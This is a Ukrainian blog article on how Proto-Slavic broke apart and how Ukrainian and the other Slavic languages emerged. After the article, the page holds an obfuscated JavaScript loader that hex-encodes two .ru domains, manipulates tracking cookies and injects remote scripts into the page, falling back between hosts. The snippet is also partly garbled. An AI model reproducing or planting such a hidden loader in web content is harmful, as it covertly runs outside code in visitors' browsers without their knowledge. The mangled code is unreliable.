На жаль, неможливо ні спростувати, ні підтвердити цю гіпотезу, оскільки якихось достовірних даних про мову трипільців (як, до речі, і скіфів) не збереглося. Водночас відомо, що субстрат на певній території (фонетичні та інші сліди переможеної мови) справді дуже живучий і може передаватися через кілька мовних “епох”, навіть через посередництво мов, які не дожили до наших днів.

Відносна єдність праслов’янських наріч проіснувала до V–VI століття нової ери. Де мешкали праслов’яни – достеменно не відомо. Вважається, що десь на північ від Чорного моря – у Подніпров’ї, Подунав’ї, у Карпатах чи між Віслою та Одером. У середині першого тисячоліття внаслідок бурхливих міграційних процесів праслов’янська єдність розпалася. Слов’яни заселили всю центральну Європу – від Середземного до Північного моря.

Відтоді почали формуватися прамови сучасних слов’янських мов. Точкою відліку творення нових мов став занепад закону відкритого складу. Такий само загадковий, як і його виникнення. Ми не знаємо, що спричинило цей занепад – черговий субстрат чи якийсь внутрішній закон мовної еволюції, який почав діяти ще в часи праслов’янської єдності. Проте в жодній слов’янській мові закон відкритого складу не вцілів. Хоча й залишив у кожній з них глибокі сліди. За великим рахунком, фонетичні та морфологічні відмінності між цими мовами зводяться до того, наскільки відмінними є рефлекси, зумовлені падінням відкритого складу, у кожній з мов.

Як з’явилися сучасні слов’янські мови?

Занепадав цей закон нерівномірно. В одних говірках наспівне вимовляння (“тра-та-та”) збереглося довше, в інших – фонетична “революція” відбулася швидше. У результаті праслов’янська мова дала три підгрупи діалектів: південнослов’янські (сучасні болгарська, сербська, хорватська, македонська, словенська та інші); західнослов’янські (польська, чеська, словацька тощо); східнослов’янські (сучасні українська, російська, білоруська). У давні часи кожна з підгруп являла собою численні говірки, що мали певні спільні риси, котрі відрізняли їх від інших підгруп. Ці говірки далеко не завжди збігаються з сучасним розподілом слов’янських мов та розселенням слов’ян. Велику роль у мовній еволюції в різні періоди відіграли процеси державотворення, взаємні впливи слов’янських наріч, а також чужомовні елементи.

Власне, розпад праслов’янської мовної єдності міг відбуватися таким чином. Спочатку територіально “відірвалися” від решти племен південні (балканські) слов’яни. Цим пояснюється те, що в їхніх говірках закон відкритого складу протримався найдовше – аж до ІХ–ХІІ століть.

У племен, що були пращурами східних та західних слов’ян, на відміну від балканських, у середині першого тисячоліття мова зазнала кардинальних змін. Занепад закону відкритого складу дав старт розвиткові нових європейських мов, чимало з, яких не дожили до нашого часу.

Носії праукраїнської мови становили собою розрізнені племена, кожне з яких розмовляло власним наріччям. Поляни розмовляли по-полянськи, деревляни – по-деревлянськи, сіверяни – по-сіверянськи, уличі й тиверці – по-своєму і т.д. Але всі ці наріччя мали однакові наслідки занепаду відкритого складу, тобто характеризувалися спільними рисами, які й зараз відрізняють українську мову від інших слов’янських мов.

зня.2003

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();
Сторінки:
1
2
3
4
5
6
…
8
попередня
наступна
Радіо онлайн Слухай улюблені радіостанції в одному місці
 
I.UA, 2006—2024.
Ok Для зручності користування сайтом використовуються Cookies. Детальніше у політиці конфіденційності
This website uses cookies to ensure you get the best experience on our website. Learn more